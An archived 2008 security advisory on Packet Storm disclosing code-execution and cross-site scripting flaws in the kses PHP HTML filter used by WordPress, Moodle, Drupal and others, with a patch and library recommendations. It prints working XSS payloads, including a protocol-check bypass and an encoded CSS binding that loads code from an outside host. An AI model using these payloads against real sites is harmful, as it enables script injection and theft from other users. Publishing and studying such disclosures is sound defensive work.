the internet's safety

ksesfilter.txt

ksesfilter.txt
Posted Apr 4, 2008
Authored by Lukas Pilorz | Site allegro.pl

kses-based HTML filters for projects like WordPress, Moodle, Drupal, eGroupWare, Dokeos, PHP-Nuke, Geeklog, etc, have been found vulnerable to cross site scripting and code execution vulnerabilities.

tags | advisory, php, vulnerability, code execution, xss
MD5 | 84dffd73915467fb43f6eb8e2af5244f

ksesfilter.txt

Change Mirror Download
Vulnerabilities in kses-based HTML filters
==========================================

During internal code review performed by Allegro.pl, some weaknesses
were discovered in kses - PHP HTML/XHTML filter. HTML filters using or
based on kses are part of many popular projects, including WordPress,
Moodle, Drupal, eGroupWare, Dokeos, PHP-Nuke, Geeklog and others. Issues
found range from cross-site scripting to code execution, depending on
implementation.

Kses filters HTML by whitelisting allowed tags, attributes, and
protocols in attribute values. Additionally, it normalizes HTML entities
and performs a few blacklist checks. This approach makes it much more
reliable as a defence against XSS than a typical blacklist filter. Kses
is no longer mantained since 2005, and multiple projects that use it
developed their own versions. In most cases, these implementations share
the same vulnerabilites.


Quote from kses code:
function kses_bad_protocol_once($string, $allowed_protocols)
###############################################################################
# This function searches for URL protocols at the beginning of $string, while
# handling whitespace and HTML entities.
###############################################################################
{
return preg_replace('/^((&[^;]*;|[\sA-Za-z0-9])*)'.
'(:|:|&#[Xx]3[Aa];)\s*/e',
'kses_bad_protocol_once2("\\1", $allowed_protocols)',
$string);
} # function kses_bad_protocol_once


1. PHP code execution
This vulnerability is caused by unsafe preg_replace() with "e" modifier
and backreference between double quotes. It's exploitable if kses
attribute cleaning functions are called without previous entities
normalization. This is not a standard way of using kses, but such
implementations exist in widely deployed software.
Example:
--- stripped ---

2. Cross site scripting - protocol checks bypass
This vulnerability is caused by insufficient protocol checks in
attribute values. By injecting byte 08 (Firefox) or 0B (Opera) at the
beginning of attribute value, it is possible to bypass
kses_bad_protocol_once2() call.
Examples (partially urlencoded for readability):
(Opera) <img src="%0Bjavascript:alert(document.domain)">
(Firefox) <a href='%08data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2B'>test</a>

3. Cross site scripting - allowed attributes
In some implementations, style attribute is allowed. As kses is not
designed to deal with XSS inside CSS, such configurations are
vulnerable, unless additional checks are added. In reality, code added
for cleaning CSS usually does not solve this problem in sufficient
degree.
Example:
(Firefox) <a style=" ;\2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67: \75\72\6c(\68\74\74\70\3a\2F\2F\68\61\2E\63\6B\65\72\73\2E\6F\72\67\2F\78\73\73\6D\6F\7A\2E\78\6D\6C\23\78\73\73)" href="http://example.com">test</a>


Solution
========

Sample quick-fix for 1 and (assuming previous entities normalization) 2:
function kses_bad_protocol_once($string, $allowed_protocols)
###############################################################################
# This function searches for URL protocols at the beginning of $string, while
# handling whitespace and HTML entities.
###############################################################################
{
$string2 = preg_split('/:|:|&#x3a;/i', $string, 2);
if(isset($string2[1]) && !preg_match('%/\?%',$string2[0]))
{
$string = kses_bad_protocol_once2($string2[0],$allowed_protocols)
.trim($string2[1]);
}
return $string;
} # function kses_bad_protocol_once

Another option would be to change HTML filter and use some actively
supported library. There are two such filters with kses compatibility
mode:
- HTML Purifier, http://htmlpurifier.org/
basic kses compatibility wrapper available at
http://htmlpurifier.org/svnroot/htmlpurifier/trunk/library/HTMLPurifier.kses.php
- htmLawed,
http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/index.php

HTML Purifier has an advantage of proper CSS validation and secure
default settings, so it's a preferred solution.


Fixed software
==============
Dokeos 1.8.4 SP3, http://www.dokeos.com/download/dokeos-1.8.4-SP3.zip
eGroupWare 1.4.003, http://www.egroupware.org/download
WordPress 2.5, http://wordpress.org/download/
Moodle 1.9, http://download.moodle.org/


Regards,
Ɓukasz Pilorz, Allegro.pl

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close